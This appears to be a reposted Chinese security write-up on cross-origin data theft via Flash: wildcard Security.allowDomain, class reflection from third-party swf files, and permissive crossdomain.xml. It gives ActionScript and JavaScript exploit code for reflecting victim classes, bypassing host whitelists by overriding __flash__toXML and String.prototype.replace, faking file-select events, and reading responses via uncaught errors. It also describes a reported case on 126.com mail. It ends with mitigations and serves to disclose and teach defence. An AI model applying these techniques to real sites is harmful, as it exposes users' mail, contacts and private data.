隱私泄露殺手鐧 —— Flash 權限反射


[簡版:https://weibo.com/p/1001603881940380956046]

前言

一直以為該風險早已被重視,但最近無意中發現,仍有不少網站存在該缺陷,其中不乏一些常用的郵箱、社交網站,於是有必要再探討一遍。

事實上,這本不是什么漏洞,是 Flash 與生俱來的一個正常功能。但由於一些 Web 開發人員了解不夠深入,忽視了該特性,從而埋下安全隱患。

原理

這一切還得從經典的授權操作說起:

Security.allowDomain('*')

對於這行代碼,或許都不陌生。盡管知道使用 * 是有一定風險的,但想想自己的 Flash 里並沒有什么高危操作,把我拿去又能怎樣?

因此,一些開發人員以為只要不與 JS 通信,就高枕無憂了。同時為了圖方便,直接給 swf 授權了 *,省去一大堆信任列表。

事實上,Flash 被網頁嵌套僅僅是其中一種而已,更普遍的,則是 swf 之間的嵌套。然而無論何種方式,都是通過 Security.allowDomain 進行授權的 —— 這意味着,一個 * 不僅允許被第三方網頁調用,同時還包括了其他任意 swf!

被網頁嵌套,或許難以找到利用價值。但被自己的同類嵌套,可用之處就大幅增加了。因為它們都是 Flash,位於同一個運行時里,相互之間存在着密切的關聯。

我們如何將這種關聯,進行充分利用呢?

利用

關聯容器

在 Flash 里,舞台(stage)是這個世界的根基。無論加載多少個 swf,舞台始終只有一個。任何元素(DisplayObject)必須添加到舞台、或其子容器下,才能展示和交互。

因此,不同 swf 創建的元素,都是通過同一個舞台展示的。它們能感知相互的存在,只是受到同源策略的限制,未必能相互操作。

然而,一旦某個 swf 主動開放權限,那么它的元素就不再受到保護,能被任意 swf 訪問了!

聽起來似乎不是很嚴重。我創建的界面元素,又有何訪問價值?也就獲取一些坐標、顏色等信息而已。

偷窺元素的自身屬性,或許並沒什么意義。但並非所有的元素,都是為了純粹展示的 —— 有時為了擴展功能,在 DisplayObject 之上實現額外的功能。

最典型的,就是每個 swf 的主類 —— 它們都繼承於 Sprite,即使程序里沒用到任何界面相關的。

有這樣擴展元素存在,我們就可以訪問那些額外的功能了。

開始我們的第一個案例。某個 swf 的主類在 Sprite 的基礎上,擴展了網絡加載的功能:

// vul.swf
public class Vul extends Sprite {

    public var urlLoader:URLLoader = new URLLoader();
    
    public function download(url:String) : void {
        urlLoader.load(new URLRequest(url));
        ...
    }

    public function Vul() {
        Security.allowDomain('*');
        ...
    }
    ...
}

通過第三方 swf,我們將其加載進來。由於 Vul 繼承了 Sprite,因此擁有了元素的基因,我們可以從容器中找到它。

同時它也是主類,默認會被添加到 Loader 這個加載容器里。

// exp.swf
var loader:Loader = new Loader();
loader.contentLoaderInfo.addEventListener('complete', function(e:Event) : void {
    var main:* = loader.getChildAt(0);

    trace(main);    // [object Vul]
});
loader.load(new URLRequest('//swf-site/vul.swf'));

因為 Loader 是子 swf 的默認容器,所以其中第一個元素顯然就是子 swf 的主類:Vul。

由於 Vul 定義了一個叫 download 的公開方法,並且授權了所有的域名,因此在第三方 exp.swf 里,自然也能調用它:

main.download('//swf-site/data');

同時 Vul 中的 urlLoader 也是一個公開暴露的成員變量,同樣可被外部訪問到,並對其添加數據接收事件:

var ld:URLLoader = main.urlLoader;
ld.addEventListener('complete', function(e:Event) : void {
    trace(ld.data);
});

盡管這個 download 方法是由第三方 exp.swf 發起的,但最終執行 URLLoaderload 方法時,上下文位於 vul.swf 里,因此這個請求仍屬於 swf-site 的源。

於是攻擊者從任意位置,跨站訪問 swf-site 下的數據了。

更糟的是,Flash 的跨源請求可通過 crossdomain.xml 來授權。如果某個站點允許 swf-site,那么它也成了受害者。

如果用戶正處於登錄狀態,攻擊者悄悄訪問帶有個人信息的頁面,用戶的隱私數據可能就被泄露了。攻擊者甚至還可模擬用戶請求,將惡意鏈接發送給其他好友,導致蠕蟲傳播。

ActionScript 雖然是強類型的,但只是開發時的約束,在運行時仍和 JavaScript 一樣,可動態訪問屬性。

類反射

通過容器這個橋梁,我們可訪問到子 swf 中的對象。但前提條件仍過於理想,現實中能利用的並不多。

如果目標對象不是一個元素,也沒有和公開的對象相關聯,甚至根本就沒有被實例化,那是否就無法獲取到了?

做過頁游開發的都試過,將一些后期使用的素材打包在獨立的 swf 里,需要時再加載回來從中提取。目標 swf 僅僅是一個資源包,其中沒有任何腳本,那是如何參數提取的?

事實上,整個過程無需子 swf 參與。所謂的『提取』,其實就是 Flash 中的反射機制。通過反射,我們即可隔空取物,直接從目標 swf 中取出我們想要的類。

因此我們只需從目標 swf 里,找到一個使用了網絡接口類,即可嘗試為我們效力了。

開始我們的第二個案例。這是某電商網站 CDN 上的一個廣告活動 swf,反編譯后發現,其中一個類里封裝了簡單的網絡操作:

// vul.swf
public class Tool {
    public function getUrlData(url:String, cb:Function) : void {
        var ld:URLLoader = new URLLoader();
        ld.load(new URLRequest(url));
        ld.addEventListener('complete', function(e:Event) : void {
            cb(ld.data);
        });
        ...
    }
    ...

在正常情況下,需一定的交互才會創建這個類。但反射,可以讓我們避開這些條件,提取出來直接使用:

// exp.swf
var loader:Loader = new Loader();
loader.contentLoaderInfo.addEventListener('complete', function(e:Event) : void {
    var cls:* = loader.contentLoaderInfo.applicationDomain.getDefinition('Tool');
    var obj:* = new cls;

    obj.getUrlData('http://victim-site/user-info', function(d:*) : void {
        trace(d);
    });
});
loader.load(new URLRequest('//swf-site/vul.swf'));

由於 victim-site/crossdomain.xml 允許 swf-site 訪問,於是 vul.swf 在不經意間,就充當了隱私泄露的傀儡。

攻擊者擁有了 victim-site 的訪問權,即可跨站讀取頁面數據,訪問用戶的個人信息了。

由於大多 Web 開發者對 Flash 的安全仍局限於 XSS 之上,從而忽視了這類風險。即使在如今,網絡上仍存在大量可被利用的缺陷 swf 文件,甚至不乏一些大網站也紛紛中招。

當然,即使有反射這樣強大的武器,也並非所有的 swf 都是可以利用的。顯然,要符合以下幾點才可以:

  • 執行 Security.allowDomain(可控站點)

  • 能控制觸發 URLLoader/URLStream 的 load 方法,並且 url 參數能自定義

  • 返回的數據可被獲取

第一條:這就不用說了,反射的前提也是需要對方授權的。

第二條:理想情況下,可直接調用反射類中提供的加載方法。但現實中未必都是 public 的,這時就無法直接調用了。只能分析代碼邏輯,看能不能通過公開的方法,構造條件使得流程走到請求發送的那一步。同時 url 參數也必須可控,否則也就沒意義了。

第三條:如果只能將請求發送出去,卻不能拿到返回的內容,同樣也是沒有意義的。

也許你會說,為什么不直接反射出目標 swf 中的 URLLoader 類,那不就可以直接使用了嗎。然而事實上,光有類是沒用的,Flash 並不關心這個類來自哪個 swf,而是看執行 URLLoader::load 時,當前位於哪個 swf。如果在自己的 swf 里調用 load,那么請求仍屬於自己的源。

同時,AS3 里已沒有 eval 函數了。唯一能讓數據變指令的,就是 Loader::loadBytes,但這個方法也有類似的判斷。

因此我們還是得通過目標 swf 里的已有的功能,進行利用。

案例

這里分享一個現實中的案例,之前已上報並修復了的。

這是 126.com 下的一個 swf,位於 http://mail.126.com/js6/h/flashRequest.swf

反編譯后可發現,主類初始化時就開啟了 * 的授權,因此整個 swf 中的類即可隨意使用了!

同時,其中一個叫 FlashRequest 的類,封裝了常用的網絡操作,並且關鍵方法都是 public 的:

我們將其反射出來,根據其規范調用,即可發起跨源請求了!

由於網易不少站點的 crossdomain.xml 都授權了 126.com,因此可暗中查看已登錄用戶的 163/126 郵件了:

甚至還可以讀取用戶的通信錄,將惡意鏈接傳播給更多的用戶!

進階

借助爬蟲和工具,我們可以找出不少可輕易利用的 swf 文件。不過本着研究的目的,我們繼續探討一些需仔細分析才能利用的案例。

進階 No.1 —— 繞過路徑檢測

當然也不是所有的開發人員,都是毫不思索的使用 Security.allowDomain('*') 的。

一些有安全意識的,即使用它也會考慮下當前環境是否正常。例如某個郵箱的 swf 初始化流程:

// vul-1.swf
public function Main() {
    var host:String = ExternalInterface.call('function(){return window.location.host}');

    if host not match white-list
        return

    Security.allowDomain('*');
    ...

它會在授權之前,對嵌套的頁面進行判斷:如果不在白名單列表里,那就直接退出。

由於白名單的匹配邏輯很簡單,也找不出什么瑕疵,於是只能將目光轉移到 ExternalInterface 上。為什么要使用 JS 來獲取路徑?

因為 Flash 只提供當前 swf 的路徑,並不知道自己是被誰嵌套的,於是只能用這種曲線救國的辦法了。

不過上了 JS 的賊船,自然就躲不過厄運了。有數不清的前端黑魔法正等着躍躍欲試。Flash 要和各種千奇百怪的瀏覽器通信,顯然需要一套消息協議,以及一個 JS 版的中間橋梁,用以支撐。了解 Flash XSS 的應該都不陌生。

在這個橋梁里,其中有一個叫 __flash__toXML 的函數,負責將 JS 執行后的結果,封裝成消息協議返回給 Flash。如果能搞定它,那一切就好辦了。

顯然這個函數默認是不存在的,是載入了 Flash 之后才注冊進來的。既然是一個全局函數,頁面中的 JS 也能重定義它:

// exp-1.js
function handler(str) {
    console.log(str);
    return '<string>hi,jack</string>';
}
setInterval(function() {
    var rawFn = window.__flash__toXML;
    if (rawFn && rawFn != handler) {
        window.__flash__toXML = handler;
    }
}, 1);

通過定時器不斷監控,一旦出現就將其重定義。於是用 ExternalInterface.call 無論執行什么代碼,都可以隨意返回內容了!

為了消除定時器的延遲誤差,我們先在自己的 swf 里,隨便調用下 ExternalInterface.call 進行預熱,讓 __flash__toXML 提前注入。之后子 swf 使用時,已經是被覆蓋的版本了。


當然,即使不使用覆蓋的方式,我們仍可以控制 __flash__toXML 的返回結果。

仔細分析下這個函數,其中調用了 __flash__escapeXML

function __flash__toXML(value) {
    var type = typeof(value);
    if (type == "string") {
        return "<string>" + __flash__escapeXML(value) + "</string>";
    ...
}

function __flash__escapeXML(s) {
    return s.replace(/&/g, "&amp;").replace(/</g, "&lt;") ... ;
}

里面有一大堆的實體轉義,但又如何進行利用?

因為它是調用 replace 進行替換的,然而在萬惡的 JS 里,常用的方法都是可被改寫的!我們可以讓它返回任何想要的值:

// exp-1.js
String.prototype.replace = function() {
    return 'www.test.com';
};

甚至還可以針對 __flash__escapeXML 的調用,返回特定值:

String.prototype.replace = function F() {
    if (F.caller == __flash__escapeXML) {
        return 'www.test.com';
    }
    ...
};

於是 ExternalInterface.call 的問題就這樣解決了。人為返回一個白名單里的域名,即可繞過初始化中的檢測,從而順利執行 Security.allowDomain(*)。

所以,絕不能相信 JS 返回的內容。連標點符號都不能信!


進階 No.2 —— 構造請求條件

下面這個案例,是某社交網站的頭像上傳 Flash。

不像之前那些,都可順利找到公開的網絡接口。這個案例十分苛刻,搜索整個項目,只出現一處 URLLoader,而且還是在 private 方法里。

// vul-2.swf
public class Uploader {

    public function Uploader(file:FileReference) {
        ...
        file.addEventListener(Event.SELECT, handler);
    }
    
    private function handler(e:Event) : void {
        var file:FileReference = e.target as FileReference;
        
        // check filename and data
        file.name ...
        file.data ...

        // upload(...)
    }

    private function upload(...) : void {
        var ld:URLLoader = new URLLoader();
        var req:URLRequest = new URLRequest();
        req.method = 'POST';
        req.data = ...;
        req.url = Param.service_url + '?xxx=' ....
        ld.load(req);
    }
}

然而即使要觸發這個方法也非常困難。因為這是一個上傳控件,只有當用戶選擇了文件對話框里的圖片,並通過參數檢驗,才能走到最終的上傳位置。

唯一可被反射調用的,就是 Uploader 類自身的構造器。同時控制傳入的 FileReference 對象,來構造條件。

// exp-2.swf
var file:FileReference = new FileReference();

var cls:* = ...getDefinition('Uploader');
var obj:* = new cls(file);

然而 FileReference 不同於一般的對象,它會調出界面。如果中途彈出文件對話框,並讓用戶選擇,那絕對是不現實的。

不過,彈框和回調只是一個因果關系而已。彈框會產生回調,但回調未必只有彈框才能產生。因為 FileReference 繼承了 EventDispatcher,所以我們可以人為的制造一個事件:

file.dispatchEvent(new Event(Event.SELECT));

這樣,就進入文件選中后的回調函數里了。

由於這一步會校驗文件名、內容等屬性,因此還得事先給這些屬性賦值。然而遺憾的是,這些屬性都是只讀的,根本無法設置。

等等,為什么會有只讀的屬性?屬性不就是一個成員變量嗎,怎么做到只能讀不可寫?除非是 const,但那是常量,並非只讀屬性。

原來,所謂的只讀,就是只提供了 getter、但沒有 setter 的屬性。這樣就保證了屬性內部可變,但外部不可寫的特征。

如果我們能 hook 這個 getter,那就能返回任意值了。然而 AS 里的類默認都是密閉的,不像 JS 那樣靈活,可隨意篡改原型鏈。

事實上在高級語言里,有着更為優雅的 hook 方式,我們稱作『重寫』。我們創建一個繼承 FileReference 的類,即可重寫那些 getter 了:

// exp-2.swf
class FileReferenceEx extends FileReference {

    override public function get name() : String {
        return 'hello.gif';
    }
    override public function get data() : ByteArray {
        var bytes:ByteArray = new ByteArray();
        ...
        return bytes;
    }
}

根據著名的『里氏替換原則』,任何基類可以出現的地方,子類也一定可以出現。所以傳入這個 FileReferenceEx 也是可接受的,之后一旦訪問 name 等屬性時,自然就落到我們的 getter 上了。

// exp-2.swf
var file:FileReference = new FileReferenceEx();  // !!!
...
var obj:* = new cls(file);

到此,我們成功模擬了文件選擇的整個流程。

接着就到關鍵的上傳位置了。慶幸的是,它沒寫死上傳地址,而是從環境變量(loaderInfo.parameters)里讀取。

說到環境變量,大家首先想到網頁中 Flash 元素的 flashvars 屬性,但其實還有兩個地方可以傳入:

  • swf url query(例如 .swf?a=1&b=2)

  • LoaderContext

由於 url query 是固定的,后期無法修改,所以選擇 LoaderContext 來傳遞:

// exp-2.swf
var loader:Loader = new Loader();
var ctx:LoaderContext = new LoaderContext();
ctx.parameters = {
    'service_url': 'http://victim-site/user-data#'
};
loader.load(new URLRequest('http://cross-site/vul-2.swf'), ctx);

因為 LoaderContext 里的 parameters 是運行時共享的,這樣就能隨時更改環境變量了:

// next request
ctx.parameters.service_url = 'http://victim-site/user-data-2#';

同時為了不讓多余的參數發送上去,還可以在 URL 末尾放置一個 #,讓后面多余的部分變成 Hash,就不會走流量了。

盡管這是個很苛刻的案例,但仔細分析還是找出解決辦法的。

當然,我們目的並不是為了結果,而是其中分析的樂趣:)


進階 No.3 —— 捕獲返回數據

當然,光把請求發送出去還是不夠的,如果無法拿到返回的結果,那還是白忙活。

最理想的情況,就是能傳入回調接口,這樣就可直接獲得數據了。但現實未必都是這般美好,有時我們得自己想辦法取出數據。

一些簡單的 swf 通常不會封裝一個的網絡請求類,每次使用時都直接寫原生的代碼。這樣,可控的因子就少很多,利用難度就會大幅提升。

例如這樣的場景,盡管能控制請求地址,但由於沒法拿到 URLLoader,也就無從獲取返回數據了:

public function download(url:String) : void {
    var ld:URLLoader = new URLLoader();
    ld.load(new URLRequest(url));
    ld.addEventListener('complete', function(e:Event) : void {
        // do nothing
    });
}

但通常不至於啥也不做,多少都會處理下返回結果。這時就得尋找機會了。

一旦將數據賦值到公開的成員變量里,那么我們就可通過輪詢的方式來獲取了:

public var data:*;
...
ld.addEventListener('complete', function(e:Event) : void {
    data = e.data;
});

或者,將數據存放到了某個元素里,用於顯示:

private var textbox:TextField = new TextField();
...
addChild(textbox);
...
ld.addEventListener('complete', function(e:Event) : void {
    textbox.text = e.data;
});

同樣可以利用文章開頭提到的方法,從父容器里找出相應的元素,定時輪詢其中的內容。

不過這些都算容易解決的。在一些場合,返回的數據根本不符合預期的格式,因此就無法處理直接報錯了。


下面是個非常普遍的案例。在接收事件里,將數據進行固定格式的解碼:

// vul-3.swf
import com.adobe.serialization.json.JSON;

ld.addEventListener('complete', function(e:Event) : void {
    var data:* = JSON.decode(e.data);
    ...
});

因為開發人員已經約定使用 JSON 作為返回格式,所以壓根就沒容錯判斷,直接將數據進行解碼。

然而我們想要跨站讀取的文件,未必都是 JSON 格式的。HTML、XML 甚至 JSONP,都被拍死在這里了。

難道就此放棄?都報錯無法往下走了,那還能怎么辦。唯一可行的,就是將錯就錯,往『錯誤』的方向走。

一個強大的運行時系統,都會提供一些接口,供開發者捕獲全局異常。HTML 里有,Flash 里當然也有,甚至還要強大的多 —— 不僅能夠獲得錯誤相關的信息,甚至還能拿到 throw 出來的那個 Error 對象!

一般通用的類庫,往往會有健全的參數檢驗。當遇到不合法的參數時,通常會將參數連同錯誤信息,作為異常拋出來。如果某個異常對象里,正好包含了我們想要的敏感數據的話,那就非常美妙了。

就以 JSON 解碼為例,我們寫個 Demo 驗證一下:

var s:String = '<html>\n<div>\n123\n</div>\n</html>';
JSON.decode(s);

我們嘗試將 HTML 字符傳入 JSON 解碼器,最終被斷在了類庫拋出的異常處:

異常中的前兩個參數,看起來沒多大意義。但第三個參數,里面究竟藏着是什么?

不用猜想,這正是我們想要的東西 —— 傳入解碼器的整個字符參數!

如此,我們就可在全局異常捕獲中,拿到完整的返回數據了:

loaderInfo.uncaughtErrorEvents.addEventListener(UncaughtErrorEvent.UNCAUGHT_ERROR, function(e:UncaughtErrorEvent) : void {
    trace(e.error.text);
});

驚呆了吧!只要仔細探索,一些看似不可能實現的,其實也能找到解決方案。

補救

如果從代碼層面來修補,短時間內也難以完成。

大型網站長期以來,積累了相當數量的 swf 文件。有時為了解決版本沖突,甚至在文件名里使用了時間、摘要等隨機數,這類的 swf 當時的源碼,或許早已不再維護了。

因此,還是得從網站自身來強化。crossdomain.xml 中不再使用的域名就該盡早移除,需要則盡可能縮小子域范圍。畢竟,只要出現一個帶缺陷的 swf 文件,整個站點的安全性就被拉低了。

事實上,即使通過反射目標 swf 實現的跨站請求,referer 仍為攻擊者的頁面。因此,涉及到敏感數據讀取的操作,驗證一下來源還是很有必要的。

作為用戶來說,禁用第三方 cookie 實在太有必要了。如今 Safari 已默認禁用,而 Chrome 則仍需手動添加。

總結

最后總結下,本文提到的 3 類權限:

  • 代碼層面(public / private / ...)

  • 模塊層面(Security.allowDomain)

  • 站點層面(crossdomain.xml)

只要這幾點都滿足,就很有可能被用於跨源的請求。

也許會覺得 Flash 里坑太多了,根本防不勝防。但事實上這些特征早已存在,只是未被開發者重視而已。以至於各大網站如今仍普遍躺槍。

當然,信息泄露對每個用戶都是受害者。希望能讓更多的開發者看到,及時修復安全隱患。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM